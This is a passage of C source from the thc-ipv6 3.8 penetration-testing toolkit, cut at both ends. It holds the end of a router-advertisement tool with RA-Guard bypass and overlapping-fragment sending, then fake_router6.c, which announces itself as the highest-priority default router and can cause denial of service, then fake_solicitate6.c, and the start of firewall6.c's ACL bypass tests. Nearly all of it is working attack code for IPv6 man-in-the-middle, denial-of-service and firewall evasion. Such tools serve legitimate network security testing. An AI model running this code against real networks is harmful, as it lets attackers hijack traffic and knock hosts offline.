(flags << 16)); buf[0] = reach / 16777216; buf[1] = (reach % 16777216) / 65536; buf[2] = (reach % 65536) / 256; buf[3] = reach % 256; buf[4] = trans / 16777216; buf[5] = (trans % 16777216) / 65536; buf[6] = (trans % 65536) / 256; buf[7] = trans % 256; // option mtu buf[8] = 5; buf[9] = 1; buf[12] = mtu / 16777216; buf[13] = (mtu % 16777216) / 65536; buf[14] = (mtu % 65536) / 256; buf[15] = mtu % 256; i = 16; // mac address option buf[i++] = 1; buf[i++] = 1; memcpy(buf + i, mac6, 6); i += 6; // option prefix, put all in if (pcnt > 0) for (j = 0; j < pcnt; j++) { buf[i++] = 3; buf[i++] = 4; buf[i++] = pbuf[j][0]; // prefix length buf[i++] = 128 + 64; buf[i++] = plife / 16777216; buf[i++] = (plife % 16777216) / 65536; buf[i++] = (plife % 65536) / 256; buf[i++] = plife % 256; buf[i++] = (plife / 2) / 16777216; buf[i++] = ((plife / 2) % 16777216) / 65536; buf[i++] = ((plife / 2) % 65536) / 256; buf[i++] = (plife / 2) % 256; i += 4; // + 4 bytes reserved memcpy(&buf[i], (char *)&pbuf[j][1], 16); i += 16; } // route option, put all in if (rcnt > 0) for (j = 0; j < rcnt; j++) { buf[i++] = 0x18; // routing entry option type buf[i++] = 0x03; // length 3 == 24 bytes buf[i++] = rbuf[j][0]; // prefix length if (prio == 2) buf[i++] = 0x08; // priority, highest of course else if (prio == 1) buf[i++] = 0x00; else if (prio == 0) buf[i++] = 0x18; else buf[i++] = 0x10; buf[i++] = rlife / 16777216; buf[i++] = (rlife % 16777216) / 65536; buf[i++] = (rlife % 65536) / 256; buf[i++] = rlife % 256; memcpy((char *)&buf[i], (char *)&rbuf[j][1], 16); // network i += 16; } // dns option if (dcnt > 0) for (j = 0; j < dcnt; j++) { buf[i++] = 0x19; // dns option type buf[i++] = 0x03; // length i += 2; // reserved buf[i++] = dlife / 16777216; buf[i++] = (dlife % 16777216) / 65536; buf[i++] = (dlife % 65536) / 256; buf[i++] = dlife % 256; memcpy(buf + i, dbuf[j], 16); // dns server i += 16; } // dns searchlist option if (searchlist != NULL) { buf[i] = 31; buf[i + 4] = dlife / 16777216; buf[i + 5] = (dlife % 16777216) / 65536; buf[i + 6] = (dlife % 65536) / 256; buf[i + 7] = dlife % 256; if (searchlist[strlen(searchlist) - 1] == '.') searchlist[strlen(searchlist) - 1] = 0; m = 0; while ((ptr = strstr(searchlist, ".,")) != NULL) { m = strlen(ptr); for (l = 1; l < m; l++) ptr[l - 1] = ptr[l]; ptr[m - 1] = 0; } l = 0; m = 0; j = strlen(searchlist); do { k = 0; ptr = index(&searchlist[l], '.'); if (ptr == NULL || (index(&searchlist[l], ',') != NULL && (char *)ptr > (char *)index(&searchlist[l], ','))) { k = 1; ptr = index(&searchlist[l], ','); } if (ptr != NULL) *ptr = 0; n = strlen(&searchlist[l]); buf[i + 8 + m] = n; memcpy(&buf[i + 8 + m + 1], &searchlist[l], n); if (ptr == NULL) l = j; else l += 1 + n; m += 1 + n; if (k || ptr == NULL) m++; // end of domain entry } while (l < j && ptr != NULL); if (m % 8 > 0) m = ((m / 8) + 1) * 8; buf[i + 1] = m / 8 + 1; i += m + 8; } frbuflen = i; if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0xe0, 0)) == NULL) return -1; if (do_hop) { type = NXT_HBH; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, 6) < 0) return -1; } if (do_frag) { type = NXT_FRAG; for (j = 0; i < do_frag; j++) if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, getpid() + (cnt++ << 16)) < 0) return -1; } if (do_dst) { if (type == NXT_ICMP6) type = NXT_DST; if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return -1; } if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, llife, buf, i, 0) < 0) return -1; if (thc_generate_pkt(interface, frmac, dstmac, pkt, &pkt_len) < 0) return -1; frhdr = (thc_ipv6_hdr *)pkt; // printf("DEBUG: RA size is %d bytes, do_dst %d, do_overlap %d\n", i + 8, // do_dst, do_overlap); // init pcap if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } signal(SIGINT, exit_cleanup); printf("Starting to advertise router (Press Control-C to end) ...\n"); while (sent < to_send || to_send > 255) { if (do_full) { thc_send_raguard_bypass6(interface, ip6, dst, frmac, dstmac, NXT_ICMP6, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 0); } else if (do_dst) { thc_send_as_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232); } else if (do_overlap) { if (do_overlap == 1) thc_send_as_overlapping_first_fragment6( interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232, 0); else thc_send_as_overlapping_last_fragment6( interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232, 0); } else { thc_send_pkt(interface, pkt, &pkt_len); } while (thc_pcap_check(p, (char *)send_rs_reply, NULL) > 0) ; sent++; if (sent != to_send || to_send > 255) sleep(interval); } exit_cleanup(0); return 0; // never reached } thc-ipv6-3.8/fake_router6.c000066400000000000000000000225241376121567700156100ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" char *frbuf, *frbuf2, *frint, buf3[1504]; int frbuflen, frbuf2len, do_hop = 0, do_frag = 0, do_dst = 0, type = NXT_ICMP6, myoff = 14; unsigned char *frip6, *frmac; thc_ipv6_hdr * frhdr = NULL; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s [-HFD] interface network-address/prefix-length [dns-server " "[router-ip-link-local [mtu [mac-address]]]]\n\n", prg); printf( "Announce yourself as a router and try to become the default router.\n"); printf( "If a non-existing link-local or mac address is supplied, this results " "in a DOS.\n"); printf( "Option -H adds hop-by-hop, -F fragmentation header and -D dst " "header.\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } void send_rs_reply(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *pkt = NULL, *dstmac = (unsigned char *)data + 6, *dst = (unsigned char *)data + 14 + 8, *ipv6hdr = (unsigned char *)(data + 14); int pkt_len = 0, cnt, i; if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_ROUTERSOL || header->caplen < 14 + 40 + 2) return; if ((pkt = thc_create_ipv6_extended(frint, PREFER_LINK, &pkt_len, frip6, dst, 255, 0, 0, 0xe0, 0)) == NULL) return; if (do_hop) { type = NXT_HBH; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, frbuf2len) < 0) return; } if (do_frag) { type = NXT_FRAG; for (i = 0; i <= do_frag; i++) if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0) return; } if (do_dst) { if (type == NXT_ICMP6) type = NXT_DST; if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return; } if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, frbuf, frbuflen, 0) < 0) return; if (do_dst) { thc_generate_pkt(frint, frmac, dstmac, pkt, &pkt_len); frhdr = (thc_ipv6_hdr *)pkt; thc_send_as_fragment6(frint, frip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1240); } else { if (thc_generate_and_send_pkt(frint, frmac, dstmac, pkt, &pkt_len) < 0) return; } pkt = thc_destroy_packet(pkt); } int main(int argc, char *argv[]) { char * routerip, *interface, mac[16] = ""; unsigned char *routerip6, *route6, *mac6 = mac, *ip6; unsigned char buf[512], *ptr, buf2[6], string[] = "ip6 and icmp6 and dst ff02::2"; unsigned char *dst = thc_resolve6("ff02::1"); unsigned char *dstmac = thc_get_multicast_mac(dst); unsigned char *dns; int size, mtu = 1500, i, j, k, cnt; unsigned char *pkt = NULL; int pkt_len = 0; int rawmode = 0; pcap_t * p; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "FHDr")) >= 0) { switch (i) { case 'r': thc_ipv6_rawmode(1); rawmode = 1; break; case 'F': do_frag++; break; case 'H': do_hop = 1; break; case 'D': do_dst = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (argc - optind < 2) help(argv[0]); if (do_hdr_size) myoff = do_hdr_size; frbuf = buf; frbuf2 = buf2; frbuf2len = sizeof(buf2); memset(mac, 0, sizeof(mac)); interface = argv[optind]; mtu = thc_get_mtu(interface); if (argc - optind >= 5) mtu = atoi(argv[optind + 4]); if (argc - optind >= 7 && (ptr = argv[optind + 5]) != NULL) sscanf(ptr, "%x:%x:%x:%x:%x:%x", (unsigned int *)&mac[0], (unsigned int *)&mac[1], (unsigned int *)&mac[2], (unsigned int *)&mac[3], (unsigned int *)&mac[4], (unsigned int *)&mac[5]); else mac6 = thc_get_own_mac(interface); if (argc - optind >= 4 && argv[optind + 3] != NULL) ip6 = thc_resolve6(argv[optind + 3]); else ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK); frip6 = ip6; frint = interface; frmac = mac6; if (argc - optind >= 4 && argv[optind + 2] != NULL) dns = thc_resolve6(argv[optind + 2]); else dns = thc_resolve6("ff02::fb"); routerip = argv[optind + 1]; if (routerip == NULL || (ptr = index(routerip, '/')) == NULL) { printf( "Error: Option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. " "ff80::01/16\n"); exit(-1); } *ptr++ = 0; size = atoi(ptr); routerip6 = thc_resolve6(routerip); route6 = thc_resolve6(routerip); if (routerip6 == NULL || size < 1 || size > 128) { fprintf(stderr, "Error: IP-ADDRESS/PREFIXLENGTH argument is invalid: %s\n", argv[optind + 1]); exit(-1); } if (size < 48 || size > 64) fprintf(stderr, "Warning: unusual network prefix size defined, be sure what your " "are doing: %d\n", size); if (dns == NULL) { fprintf(stderr, "Error: dns argument is invalid: %s\n", argv[optind + 2]); exit(-1); } if (ip6 == NULL) { fprintf(stderr, "Error: link-local-ip6 argument is invalid: %s\n", argv[optind + 3]); exit(-1); } if (mtu < 1 || mtu > 65536) { fprintf(stderr, "Error: mtu argument is invalid: %s\n", argv[optind + 4]); exit(-1); } if (mtu < 1228 || mtu > 1500) fprintf( stderr, "Warning: unusual mtu size defined, be sure what you are doing :%d\n", mtu); if (mac6 == NULL) { fprintf(stderr, "Error: mac address in invalid\n"); exit(-1); } memset(buf, 0, sizeof(buf)); memset(buf2, 0, sizeof(buf2)); memset(buf3, 0, sizeof(buf3)); if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } i = 128 - size; j = i / 8; k = i % 8; if (k > 0) j++; memset(route6 + 16 - j, 0, j); if (k > 0) route6[17 - j] = (route6[17 - j] >> (8 - k)) << (8 - k); // buf[3] = 250; // 0-3: reachable timer buf[6] = 4; // 4-7: retrans timer // option mtu buf[8] = 5; buf[9] = 1; buf[12] = mtu / 16777216; buf[13] = (mtu % 16777216) / 65536; buf[14] = (mtu % 65536) / 256; buf[15] = mtu % 256; // option prefix buf[16] = 3; buf[17] = 4; buf[18] = size; // prefix length buf[19] = 128 + 64; memset(&buf[20], 17, 4); memset(&buf[24], 4, 4); memcpy(&buf[32], route6, 16); i = 48; // mac address option buf[i++] = 1; buf[i++] = 1; memcpy(buf + i, mac6, 6); i += 6; // default route routing option buf[i++] = 0x18; // routing entry option type buf[i++] = 0x03; // length 3 == 24 bytes buf[i++] = 0x00; // prefix length buf[i++] = 0x08; // priority, highest of course i += 2; // 52-53 unknown buf[i++] = 0x11; // lifetime, word buf[i++] = 0x11; // lifetime, word i += 16; // 56-71 address, all zeros for default // specific route routing option 2000::/3 buf[i++] = 0x18; // routing entry option type buf[i++] = 0x03; // length 3 == 24 bytes buf[i++] = 0x03; // prefix length buf[i++] = 0x08; // priority, highest of course i += 2; // 52-53 unknown buf[i++] = 0x11; // lifetime, word buf[i++] = 0x11; // lifetime, word buf[i++] = 0x20; // 56-71 address: 2000:: i += 15; // specific route routing option 2000::/3 buf[i++] = 0x18; // routing entry option type buf[i++] = 0x03; // length 3 == 24 bytes buf[i++] = 0x07; // prefix length buf[i++] = 0x08; // priority, highest of course i += 2; // 52-53 unknown buf[i++] = 0x11; // lifetime, word buf[i++] = 0x11; // lifetime, word buf[i++] = 0xfc; // 56-71 address: fc:: i += 15; // dns option buf[i++] = 0x19; // dns option type buf[i++] = 0x03; // length i += 2; // 74-75 reserved memset(buf + i, 1, 4); // validity time i += 4; memcpy(buf + i, dns, 16); // dns server i += 16; frbuflen = i; if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0xe0, 0)) == NULL) return -1; if (do_hop) { type = NXT_HBH; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, 6) < 0) return -1; } if (do_frag) { type = NXT_FRAG; for (i = 0; i <= do_frag; i++) if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0) return -1; } if (do_dst) { if (type == NXT_ICMP6) type = NXT_DST; if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return -1; } if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, buf, i, 0) < 0) return -1; if (thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) return -1; frhdr = (thc_ipv6_hdr *)pkt; // init pcap printf("Starting to advertise router %s (Press Control-C to end) ...\n", argv[optind + 1]); while (1) { if (do_dst) { thc_send_as_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1240); } else { thc_send_pkt(interface, pkt, &pkt_len); } while (thc_pcap_check(p, (char *)send_rs_reply, NULL) > 0) ; sleep(5); } return 0; } thc-ipv6-3.8/fake_solicitate6.c000066400000000000000000000111321376121567700164210ustar00rootroot00000000000000 #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s [-DHF] interface ip-address-solicitated [target-address " "[mac-address-solicitated [source-ip-address]]]\n\n", prg); printf( "Solicate IPv6 address on the network, sending it to the all-nodes " "multicast address\n"); // printf("Option -H adds a hop-by-hop header, -F a one shot fragment // header,\n"); printf("-D adds a large destination header which fragments // the packet.\n"); printf("Use -r to use raw mode.\n\n"); exit(-1); } int main(int argc, char *argv[]) { unsigned char *pkt1 = NULL, buf[24], buf2[6], buf3[1500]; unsigned char *unicast6, *src6 = NULL, *dst6 = NULL, srcmac[16] = "", *mac = srcmac; int pkt1_len = 0, flags, prefer = PREFER_GLOBAL, i, do_hop = 0, do_dst = 0, do_frag = 0, cnt, type = NXT_ICMP6, offset = 14; char * interface; int rawmode = 0; thc_ipv6_hdr *hdr; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]); while ((i = getopt(argc, argv, "DFHr")) >= 0) { switch (i) { case 'r': thc_ipv6_rawmode(1); rawmode = 1; break; case 'F': do_frag++; break; case 'H': do_hop = 1; break; case 'D': do_dst = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (argc - optind < 2) help(argv[0]); if (do_hdr_size) offset = do_hdr_size; interface = argv[optind]; if ((unicast6 = thc_resolve6(argv[optind + 1])) == NULL) { fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]); exit(-1); } if (argc - optind >= 3 && argv[optind + 2] != NULL) dst6 = thc_resolve6(argv[optind + 2]); else dst6 = thc_resolve6("ff02::1"); if (dst6 == NULL) { fprintf(stderr, "Error: could not resolve destination of solicitate: %s\n", argv[optind + 2]); exit(-1); } if (rawmode == 0) { if (argc - optind >= 4 && argv[optind + 3] != NULL) sscanf(argv[optind + 3], "%x:%x:%x:%x:%x:%x", (unsigned int *)&srcmac[0], (unsigned int *)&srcmac[1], (unsigned int *)&srcmac[2], (unsigned int *)&srcmac[3], (unsigned int *)&srcmac[4], (unsigned int *)&srcmac[5]); else mac = thc_get_own_mac(interface); } if (argc - optind >= 5 && argv[optind + 4] != NULL) src6 = thc_resolve6(argv[optind + 4]); else src6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK); if (mac == NULL || src6 == NULL) { fprintf(stderr, "Error: invalid interface %s or invalid mac/ip defined\n", interface); exit(-1); } memset(buf, 0, sizeof(buf)); memcpy(buf, unicast6, 16); buf[16] = 1; buf[17] = 1; memcpy(&buf[18], mac, 6); flags = 0; // ICMP6_NEIGHBORADV_OVERRIDE; memset(buf2, 0, sizeof(buf2)); memset(buf3, 0, sizeof(buf3)); if ((pkt1 = thc_create_ipv6_extended(interface, prefer, &pkt1_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL) return -1; if (do_hop) { type = NXT_HBH; if (thc_add_hdr_hopbyhop(pkt1, &pkt1_len, buf2, sizeof(buf2)) < 0) return -1; } if (do_frag) { if (type == NXT_ICMP6) type = NXT_FRAG; for (i = 0; i <= do_frag; i++) if (thc_add_hdr_oneshotfragment(pkt1, &pkt1_len, cnt++) < 0) return -1; } if (do_dst) { if (type == NXT_ICMP6) type = NXT_DST; if (thc_add_hdr_dst(pkt1, &pkt1_len, buf3, sizeof(buf3)) < 0) return -1; } if (thc_add_icmp6(pkt1, &pkt1_len, ICMP6_NEIGHBORSOL, 0, flags, (unsigned char *)&buf, 24, 0) < 0) return -1; if (thc_generate_pkt(interface, mac, NULL, pkt1, &pkt1_len) < 0) { fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); exit(-1); } printf("Starting solicitation of %s (Press Control-C to end)\n", argv[optind + 1]); while (1) { if (do_dst) { hdr = (thc_ipv6_hdr *)pkt1; thc_send_as_fragment6(interface, src6, dst6, type, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240); } else { thc_send_pkt(interface, pkt1, &pkt1_len); } sleep(5); } return 0; } thc-ipv6-3.8/firewall6.c000066400000000000000000002133741376121567700151140ustar00rootroot00000000000000/* * Tests the implementation of ACLs for bypassing attacks * */ #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" extern int do_6in4; extern int do_pppoe; extern int do_hdr_vlan; extern int do_hdr_off; int sports[] = {20, 21, 22, 25, 53, 80, 111, 123, 179, 443, 8080, -1}; int sports2[] = {20, 53, 67, 68, 69, 111, 123, 161, 162, 2049, -1}; int matched = 0, port = -1, udp = 0, sport = 21000, cport, count = 0, poffset, poffset2, ptype, only = 0, pingtest = 0, do_hop = 0; unsigned char *dst, *psrc, is_srcport = 0; pcap_t * p; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s [-Hu] interface destination port [test-case-no]\n\n", prg); printf("Performs various ACL bypass attempts to check implementations.\n"); printf( "Defaults to TCP ports, option -u switches to UDP.\nOption -H prints the " "hop count.\n"); printf( "For all test cases to work, ICMPv6 ping to the destination must be " "allowed.\n"); exit(-1); } void ignoreit(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { return; } void check_packet(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char * ptr = (unsigned char *)(data + 14); int len = header->caplen - 14, nxt = 6, offset = 0; unsigned short int rsport, rdport; matched = -1; if (do_hdr_size) { ptr = (unsigned char *)(data + do_hdr_size); len -= (do_hdr_size - 14); if ((ptr[0] & 240) != 0x60) return; } if (ptr[nxt] == NXT_FRAG) { offset += 8; nxt = 40; } if (udp == 0 && ptr[nxt] == NXT_TCP && memcmp(dst, ptr + 8, 16) == 0 && len >= 60 + offset) { rsport = ptr[40 + offset] * 256 + ptr[41 + offset]; rdport = ptr[42 + offset] * 256 + ptr[43 + offset]; // printf("rsport: %d, rdport: %d, sport %d, port %d, count %d\n", rsport, // rdport, sport, port, count); if ((is_srcport == 1 || rdport == sport + count) && rsport == port) { if (do_hop) printf("[%d] ", ptr[7]); printf("TCP"); if ((ptr[53 + offset] & 1) > 0) printf("-FIN"); if ((ptr[53 + offset] & 2) > 0) printf("-SYN"); if ((ptr[53 + offset] & 4) > 0) printf("-RST"); if ((ptr[53 + offset] & 16) > 0) printf("-ACK"); printf(" received\n"); matched = 1; } // else printf("DEBUG: different tcp pkt seen from target (is_srcport %d, // rdport %d == sport %d + count %d, rsport %d == port %d)\n", // is_srcport, rdport, sport, count, rsport, port); } if (udp == 1 && ptr[nxt] == NXT_UDP && memcmp(dst, ptr + 8, 16) == 0 && len >= 48 + offset) { rsport = ptr[40 + offset] * 256 + ptr[41 + offset]; rdport = ptr[42 + offset] * 256 + ptr[43 + offset]; if ((is_srcport == 1 || rdport == sport + count) && rsport == port) { if (do_hop) printf("[%d] ", ptr[7]); printf("UDP received\n"); } } if (ptr[nxt] == NXT_ICMP6 && (ptr[40 + offset] == ICMP6_UNREACH || ptr[40 + offset] == ICMP6_PARAMPROB) && len >= 96 + poffset + offset) { if (memcmp(dst, ptr + 72 + offset, 16) != 0) return; if (ptype >= 0) { if (ptype == NXT_FRAG && poffset == 0) { if (ptr[54 + offset] != NXT_FRAG && ptr[54 + offset] != NXT_DST) return; } else { if (ptr[54 + offset] != ptype) return; if (udp == 0 && ptr[54 + poffset2 + offset] != NXT_TCP) return; if (udp == 1 && ptr[54 + poffset2 + offset] != NXT_UDP) return; } } else { if (udp == 0 && ptr[54 + offset] != NXT_TCP) return; if (udp == 1 && ptr[54 + offset] != NXT_UDP) return; } rsport = ptr[88 + poffset + offset] * 256 + ptr[89 + poffset + offset]; rdport = ptr[90 + poffset + offset] * 256 + ptr[91 + poffset + offset]; if ((ptype == NXT_FRAG && poffset == 0) || ((rsport == sport + count || is_srcport == 1) && rdport == port)) { matched = 1; if (do_hop) printf("[%d] ", ptr[7]); printf("ICMPv6 "); if (ptr[40 + offset] == ICMP6_PARAMPROB) { printf("Parameter Problem received\n"); return; } switch (ptr[41 + offset]) { case 0: printf("Route"); break; case 1: printf("Firewall"); break; case 2: printf("Out-Of-Scope"); break; case 3: printf("Address"); break; case 4: printf("Port"); break; case 5: printf("Ingress/Egress"); break; case 6: printf("Reject"); break; default: printf("unknown"); } printf(" unreachable received\n"); } } else if (ptr[nxt] == NXT_ICMP6 && ptr[40 + offset] == ICMP6_ECHOREPLY && pingtest) { matched = 1; if (do_hop) printf("[%d] ", ptr[7]); printf("ICMPv6 Echo Reply\n"); } } void check_for_reply() { int ret = -1; time_t t; t = time(NULL); matched = 0; while (ret < 0) { usleep(10); thc_pcap_check(p, (char *)check_packet, NULL); if (matched == -1) { ret = -1; matched = 0; } else if (matched == 1) ret = 0; if (time(NULL) > t + 3 && ret < 0) ret = 0; } if (matched == 0) printf("FAILED - no reply\n"); else if (only == 0) sleep(1); } int main(int argc, char *argv[]) { int i, curr = 0; unsigned char buf[3000], ch; unsigned char *src, string[64] = "ip6 and not src "; unsigned char *srcmac = NULL, *dstmac = NULL; thc_ipv6_hdr * hdr, *hdr3; int offset = 14; unsigned char *pkt = NULL, *pkt2 = NULL, *pkt3 = NULL; int pkt_len = 0, pkt_len2 = 0, pkt_len3 = 0; char * interface; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "uH")) >= 0) { switch (i) { case 'u': udp = 1; break; case 'H': do_hop = 1; break; default: fprintf(stderr, "Error: invalid option -%c\n", i); exit(-1); } } if (argc - optind < 3) help(argv[0]); if (do_hdr_size) offset = do_hdr_size; interface = argv[optind]; dst = thc_resolve6(argv[optind + 1]); port = atoi(argv[optind + 2]); if (argc - optind > 3 && argv[optind + 3] != NULL) only = atoi(argv[optind + 3]); if ((src = thc_get_own_ipv6(interface, dst, PREFER_GLOBAL)) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } srcmac = thc_get_own_mac(interface); if ((dstmac = thc_get_mac(interface, src, dst)) == NULL) { fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]); exit(-1); } setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); strcat(string, thc_ipv62notation(src)); memset(buf, 0, sizeof(buf)); if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } printf("Starting firewall6: mode %s against %s port %d\n", udp == 0 ? "TCP" : "UDP", argv[optind + 1], port); printf("Run a sniffer behind the firewall to see what passes through\n\n"); curr = 0; /* ----------------- BEGIN OF TEST CASES ---------------- */ if (only == ++count || only == 0) { printf("Test %2d: plain sending\t\t\t", count); poffset = 0; ptype = -1; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); check_for_reply(); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: plain sending with data\t", count); poffset = 0; ptype = -1; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, buf, 1000) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, buf, 1000) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); check_for_reply(); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: IPv4 ethernet type\t\t", count); poffset = 0; ptype = -1; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; hdr = (thc_ipv6_hdr *)pkt; if (do_hdr_size) { if (do_pppoe) { hdr->pkt[20 + do_hdr_off] = 0; // PPP protocol value for IPv4 hdr->pkt[21 + do_hdr_off] = 0x21; } else if (do_hdr_vlan && do_6in4 == 0) { hdr->pkt[16] = 8; // ethernet protocol value for IPv4 hdr->pkt[17] = 0; } } else { hdr->pkt[12] = 8; // ethernet protocol value for IPv4 hdr->pkt[13] = 0; } if (do_6in4 == 0) { while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); check_for_reply(); } else printf("skipped (6in4)\n"); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: sending IPv5 packet\t\t", count); poffset = 0; ptype = -1; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 5)) == NULL) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); check_for_reply(); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: hop-by-hop hdr (ignore option)\t", count); poffset = 8; ptype = NXT_HBH; poffset2 = 34; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, 6); if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, 6) == -1) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; while 